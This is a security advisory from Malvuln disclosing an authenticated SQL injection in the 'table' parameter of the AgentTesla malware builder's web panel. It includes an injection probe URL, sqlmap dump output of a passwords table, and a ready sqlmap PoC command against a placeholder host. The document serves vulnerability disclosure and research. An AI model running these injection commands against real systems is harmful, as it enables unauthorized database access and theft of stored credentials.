Discovery / credits: Malvuln - malvuln.com (c) 2022 Original source: https://malvuln.com/advisory/db9629508fda139f71f625d764c7eff7_B.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: AgentTesla Builder Web Panel Vulnerability: SQL Injection Description: The AgentTeslaBuilder WebUI uses ionCube to encode and protect its PHP code. However, the parameter 'table' is vulnerable to post-auth SQL Injection. Authenticated users can easily dump all databases, tables and contents including the MySQL database schema. Manually testing the panel I identified an SQL error probing the following URL /AgentTeslaBuilder/server_side/scripts/server_processing.php?table=%27HELL%20OR%201=1 which gave me "An SQL error occurred: SQLSTATE[42S02] Base table or view not found 1146 Table 'agenttesla.'hell or 1=1' doesn't exist" Then switched to use Sqlmap to do the heavy lifting. Database: agenttesla Table: passwords [1 entry] +--------+-------------+--------+---------+--------+---------+---------------------+---------+----------+---------------------+ | hwid | password_id | pwd | host | status | client | time | pc_name | username | server_time | +--------+-------------+--------+---------+--------+---------+---------------------+---------+----------+---------------------+ | 939394 | 1 | abc123 | x.x.x.x | 1 | windows | 2022-01-17 01:06:09 | tom | nubarr | 2022-01-17 01:06:09 | +--------+-------------+--------+---------+--------+---------+---------------------+---------+----------+---------------------+ Type: WebUI MD5: db9629508fda139f71f625d764c7eff7 : "Agent Tesla.exe" MD5: 978509c2a3d051b43e53bba1436b7076 : "login.php" Vuln ID: MVID-2022-0455 Disclosure: 01/16/2022 Exploit/PoC: sqlmap.py -u "http://AGENT-TESLA-IP/AgentTeslaBuilder/server_side/scripts/server_processing.php?table=passwords --auth=admin:abc123" --dbms=MySQL --dump Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).